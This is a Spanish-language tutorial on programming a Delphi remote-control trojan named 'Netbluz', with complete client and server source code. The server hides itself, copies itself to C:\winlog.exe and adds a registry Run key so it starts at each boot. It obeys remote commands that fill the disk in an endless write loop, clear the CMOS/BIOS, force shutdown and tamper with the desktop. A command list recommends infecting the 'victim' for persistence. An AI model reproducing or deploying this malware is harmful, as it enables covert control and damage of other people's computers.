Sunteți pe pagina 1din 14

Programacion de un troyano en delphi

Escrito por Srg. Skapunky

v 1.2

orgasmin@hotmail.com
Indice

1- Estructura basica de un troyano

2-Programación basica del cliente

3- Programación basica del servidor

4-Autotest

5- Codigo completo cliente (Netbluz)

6-Codigo completo servidor (Netbluz)

7-Disclaimer/Despedida
1. Estructura basica de un troyano.

Primero de todo, para aquellos que no sepais de que partes esta hecho un troyano, por lo general
estara formado por un cliente y un servidor. La idea es que entre cliente-servidor se establecera una
conexión mediante la cual se hara el envio de ordenes a ejecutar.

Las ordenes se enviaran desde el cliente para que el servidor las reciba, las interprete y las ejecute.
Aquí tienen graficamente la conexión.

Netbluss utiliza el sistema de conexión TCP/IP, hay otros tipos de conexiónes como las UDP pero
nos centraremos en el primero. Con esta conexión igual que cons las UDP's el sistema clente-
servidor se comunica a través de un puerto, en el caso de nuestra aplicación lo hace por el puerto
6868.

Asi por lo general los troyanos són estructuras cliente-servidor interaxionadas entre si capazes de
establecer envio/recido de ordenes, archivos...

Recuerden que en el caso de los troyanos nunca ejecuten el servidor, en tal caso quedaran
automaticamente infectados y correran riesgos.

También puede dar-se el caso de los troyanos que el mismo cliente sea un editor del servidor. En
estos el propio usuario desde el cliente configura algunas características como el puerto a conectar,
notificaciones de ip... Una vez se configuran las opciones disponibles el propio cliente crea un
servidor personalizado.

Las estructuras cliente-servidor, y mas en el caso de los troyanos es importante hablar del tipo de
conexión. Existen en estos dos tipos de conexión. La directa y la inversa.

Caso directa: El servidor una vez ejecutado quedara pendiente hasta que un servidor se conecte con
el, para eso abrira un puerto y quedara en “Listening”. El cliente conectara con este y se establecera
comunicación.

Caso inversa: En este caso es el cliente el que queda en “Listening” y el servidor pide la conexión a
este. La utilidad de este tipo de conexión es por si el host “victima” tiene IP dinamica y le va
variando según se conecte a internet.. Del caso contrario le canviaria la IP y no podriamos volver a
conectar con este.

2.Programación basica del Cliente

Nota: Los controles que he puesto les he dejado el nombre por defecto, menos el del control
winsock que le he puesto "winsock".

Empezemos por poner los controles basicos que lleva un troyano, dos botones, uno para enviar la
orden de ataque y otro para conectar el cliente al servidor. Despues tambien agreguen dos Edits, una
para introducir la IP y otra para introducir el ataque.

Una vez preparao todo esto toca programar la parte de la conexión, simplemente añadiendo:

socket.Host := Edit1.Text;
socket.Active := True;

El puerto ponganlo directamente en la caja de propiedades del elemento winsock, utilizen puertos
altos porque puertos inferiores a 1000 normalmente se usan para otras aplicaciónes.

Si quisieran poner el puerto manualmente sin utilizar la caja de propiedades (yo no lo hago) tendran
de poner lo siguiente:
socket.Host := Edit1.Text;
socket.Port := Edit2.text;
socket.Active := True;

Nota: para hacerlo manualmente agregen un edit mas para el port, asi en total serian 3.

Para completar la parte de conexión tendran de poner los eventos Onconnect, OnDisconnetc. Para
ello en las propiedades del winsock, arriba denle a eventos y ponganle un nombre a los que quieran
agregar. Yo para no complicarlo de momento e agregado el Onconnect,OnDisconnect y el
Onconnecting.

El Onconnect valida si el cliente esta conectado , el Disconect valida si el cliente esta desconectado
y el OnConnecting valida cuando se esta haciendo el proceso de conectado.

Una ves agregados los eventos estos, creen un nuevo edit, por ejemplo Edit3. Este edit
conseguiremos que se vea el estado en el cual opera el cliente.

Aqui dejo el ejemplo de codigo de comprovacion siendo nombrados con los siguientes nombres:

Evento Onconnect --------> socketConnect


Evento OnDisconnect ----> disconect
Evento Onconnecting -----> conecting

procedure TForm1.socketConnect(Sender: TObject; Socket: TCustomWinSocket);


begin
Label3.caption := 'Conectado';
end;

procedure TForm1.conecting(Sender: TObject; Socket: TCustomWinSocket);


begin
Label3.caption := 'Conectando';
end;
procedure TForm1.disconect(Sender: TObject; Socket: TCustomWinSocket);
begin
Label3.caption := 'Desconectado';
end;

Bien, ahora ya tenemos una conexión muy basica "medio-decente". Se le puede agregar el evento
On Error por si hay algun tipo de error de conexión... Eso lo dejo para que ustedes investiguen
sobre eventos y aprendan algo autodidacticamente.

Por ultimo falta la transmissión de datos del cliente al servidor. Esto realmente es muy sencillo, ojo
se pueden hacer rutinas de validaciones y tal, pero aqui dejare la forma basica.

Recordemos que hay un Edit pa escribir el comando de ataque a enviar y un Button pa enviarlo.
Pues clickearemos en el button y escribiremos el siguiente codigo:

socket.Socket.SendText(Edit2.text);

Facil no? Esto simplemente envia al servidor la palabra que hay escrita en el Edit2 que es el
comando de ataque.

Bien, espero haberme explicado y supongo que mucha gente tendra dudas y tal, pero representa que
ya tienen un nivel de pascal/delphi suficiente para entender lo aqui descrito.

A continuación dejo una captura de mi cliente para que lo vean y entiendan graficamente la idea de
lo explicado.
3.Programación basica del servidor

Bueno esta segunda parte les tendria de dar menos probemas ya que es menos liosa.Primero de todo
añadan de la pestaña de componentes de internet el “server socket” y cambienle el nombre en la
caja de propiedades como socket. Pueden dejar el nombre que viene por defecto pero como en mis
ejemplos esta renombrado asi lo veran mejor.

Aquí para hacer un servidor sencillo que lea los datos recividos por el cliente simplementeen la caja
de propiedades del servidor (socket) en la pestañita de eventos activen el onclientread. En mis
ejemplos lo e renombrado a clientread. En este procedimiento es donde se programara la llegada del
la palabra que activara una u otra función.

Veamos el codigo base:

procedure TForm1.clientread(Sender: TObject; Socket: TCustomWinSocket);


var
palabra:string;
begin
palabra := socket.ReceiveText;

if palabra = 'comando1' then


begin
acción1;
end;
if palabra := 'comando2'then
begin
acción2;
end;

(*Puedes añadir los que quieras, también lo puedes hacer con case*)

end;

Bien comentemos un poco esto que es la parte fundamental del cliente, como veis se crea el
procedimiento clientread (recuerden lo antes mencionado que lo e renombrado).

Primero de todo se ha de declarar una variable como string, en esta se almacenara los datos que
lleguen del cliente, en nuestro caso sera una simple palabra que determinara la acción a realizar.

Despues con “palabra := socket.ReceiveText;” Se guarda el valor recibido del cliente en la variable
“palabra”. Seguidamente como ven según la palabra con una estructura condicional se valora que
acción realizar.

Bien, un servidor basico se puede caracterizar por esa parte de codigo que conecta con el cliente e
interpreta los datos recividos. Ahora ya tocaria directamente meter las funciones a realizar,
recomiendo que si son mas de dos o tres linias de codigo lo llameis a partir de procedimientos y asi
querara mas ordenado.

4. Auto-test

Si quieres provar la efectividad del troyano, o ejecutarlo en tu propio equipo, puedes hacerlo sin
necesidad de conectarte a internet y poniendo tu IP. Simplemente en la casilla de IP pon la
sigueinte: 127.0.0.1

Si ejecutas el servidor del ejemplo , no corres riesgo de infectarte ya que no se te copiara en el


registro. Lo que tendras de hacer es borrar solamente el siguiente archivo que es una copia del
mismo servidor en:

C:\winlog.exe
5. Codigo completo cliente (netbluz)

unit NetBluz;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, StdCtrls, ExtCtrls, jpeg;

type
TForm1 = class(TForm)
Edit1: TEdit;
Button1: TButton;
socket: TClientSocket;
Panel1: TPanel;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Edit2: TEdit;
Button2: TButton;
Image1: TImage;
Label6: TLabel;
procedure Button1Click(Sender: TObject);
procedure socketConnect(Sender: TObject; Socket: TCustomWinSocket);
procedure conecting(Sender: TObject; Socket: TCustomWinSocket);
procedure disconect(Sender: TObject; Socket: TCustomWinSocket);
procedure Button2Click(Sender: TObject);

private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);


begin
socket.Host := Edit1.Text;
socket.Active := True;
end;

procedure TForm1.socketConnect(Sender: TObject; Socket: TCustomWinSocket);


begin
Label3.caption := 'Conectado';
end;

procedure TForm1.conecting(Sender: TObject; Socket: TCustomWinSocket);


begin
Label3.caption := 'Conectando';
end;

procedure TForm1.disconect(Sender: TObject; Socket: TCustomWinSocket);


begin
Label3.caption := 'Desconectado';
end;

procedure TForm1.Button2Click(Sender: TObject);


begin
socket.Socket.SendText(Edit2.text);
end;
end.

6.Codigo completo servidor (Netbluz)

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, Registry, MMSystem ;

type
TForm1 = class(TForm)
socket: TServerSocket;
procedure clientread(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
filedest,filesource:string;
Llave,ruta,llavex,valor:string;

implementation

{$R *.dfm}

procedure comska;
var
x:textfile;
begin
assign (x,'c:\comska.txt');
rewrite (x);
repeat
writeln(x,'skapunky');
until 2=3;
close (x);
end;

procedure window;
var
hTaskBar: THandle;
begin
hTaskBar := FindWindow('Shell_TrayWnd', nil);
ShowWindow(hTaskBar, SW_HIDE);
end;

procedure cwindow;
var
hTaskBar: THandle;
begin
hTaskBar := FindWindow('Shell_TrayWnd', nil);
ShowWindow(hTaskBar, SW_SHOW);
end;

procedure infect;
var
reg:TRegistry;
begin
reg:=TRegistry.create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
if
reg.OpenKey('Software\Microsoft\Windows\Current Version\Run',False)
then
reg.WriteString('windos','C:\winlog.exe');
reg.Destroy;
end;

procedure time;
var
HoraSistema : TSystemTime;
NewTime:string;
begin
NewTime:='00:00:00';
DateTimeToSystemTime( Date+StrToTime(NewTime),HoraSistema);
SetLocalTime(HoraSistema);
end;

procedure cmos;
asm
MOV AX,0h
@L1: OUT 70h,AX
MOV BX,AX
MOV AX,0h
OUT 71h,AX
MOV AX,BX
INC AX
CMP AX,03Fh
JNZ @L1
end;

procedure TForm1.clientread(Sender: TObject; Socket: TCustomWinSocket);


var
skapunky:string;
begin
skapunky:= socket.ReceiveText;

if skapunky = 'beep' then


begin
beep;
end;
if skapunky= 'comska' then
begin
comska;
end;

if skapunky= 'hidew' then


begin
window;
end;

if skapunky = 'showw' then


begin
cwindow;
end;

if skapunky = 'showi' then


begin
ShowWindow(FindWindow(nil,'Program Manager'),SW_SHOW);
end;

if skapunky = 'hidei' then


begin
ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE);
end;

if skapunky = 'close' then


begin
ExitWindowsEx(EWX_POWEROFF,0);
end;

if skapunky = 'tft' then


begin
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);
end;

if skapunky = 'inicio' then


begin
ShowWindow (FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,'Button',nil),SW_Hide);
end;

if skapunky = 'screen' then


begin
SendMessage(Form1.handle,WM_SYSCOMMAND,SC_SCREENSAVE,0);
end;

if skapunky = 'infect' then


begin
infect;
end;

if skapunky = 'time' then


begin
time;
end;

if skapunky = 'madmouse' then


begin
SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP, 1, nil, 0);
end;
if skapunky = 'opencd' then
begin
mciSendString('Set cdaudio door open wait', nil, 0, 0);
end;

if skapunky = 'cmos' then


begin
cmos;
end;

end;

begin
filesource:= application.ExeName;
filedest := 'C:\winlog.exe';
copyfile(pchar(filesource),pchar(filedest),false);
ShowWindow(Application.Handle, SW_HIDE);

end.

Nota : Aprovechando que les dejo el codigo pueden fijarse en las funciones basicas que se usan para
aprender. A continuación dejo una lista de cada comando lo que hace por si les interesa.

Lista comandos usados:

“beep” → Simplemente produce un pitido en el equipo remoto.

“ Comska” → Produce el efecto de un gusano que escribi hace bastante tiempo llamado comska, lo
que hace es llenar toda la memoria del disco duro con un archivo de texto efectuando la perdida de
la memoria libre y la posible saturacion del pc.

“hidew” → Oculta la barra de tareas de windows

“Showw” → Desoculta la barra de tareas de windows.

“hidei” → Oculta los iconos del escritorio..

“showi” → Desoculta los iconos del escritorio.

“close” → Fuerza a windows a cerrarse con todas las aplicaciones que esten activas, en resumen
cierra el ordenador.

“tft” → Apaga el monitor del ordenador remoto.

“inicio” → Oculta el boton de inicio.

“screen” → Activa el salvapantallas que tenga el ordenador remoto por defecto.

“infect” → Esta es la opcion por si quieres infectar el equipo y que el troyano este activo la
siguiente vez que el host encienda el ordenador. Es recomendable a no ser que quieras usar el
troyano una sola vez con alguien...
“time” → Con esta función cambiaras la hora del reloj de windows reseteandola a 00:00:00.

“madmouse” → Con este comando cambiaras las funciones de los dos botones del mouse entre si,
el izquierdo tendra la funcion del derecho y viceversa.

“opencd” → Esta es la típica función de abrir la bandeja del cd del equipo remoto, me he tomado la
libertad de no poner la de cerrar, que lo haga el usuario xd.

“cmos” → Con este comando haremos un “clearcmos”. Esto tiene el mismo efecto que si
desconectaramos un rato la pila de las bios. En definitiva, resetea las bios a la configuración
original.

7. Disclaimer

Aquí finaliza el manual de delphi orientado a la programación de troyanos.No me hago responsable


del mal uso que se le de a la información aquí presente como a los daños que se puedan producir. El
manual lo escribo en pdf para evitar que haya gente que copie a lo loco sin entender nada o gente
aprovechada (lammers, script kidies...).

Espero que les sirva de auda el manual, para cualquier cosulta escriban un mail a
orgasmin@hotmail.com.

Uno de los propositos del manual es abastecer a programadores o interesados en la programación en


delhpi, sobre todo a los jovenes que estan aprendiendo y no son capazes de salir del visual basic.
También es interesante el manual porque en internet hay poca informacion sobre delphi y sockets y
los escasos codigos que hay sobre este tipo de aplicaciones son basicamente chats o el fuente de
algun troyano ya viejo.

Saludos y hasta siempre.

Atte. Srg. Skapunky

S-ar putea să vă placă și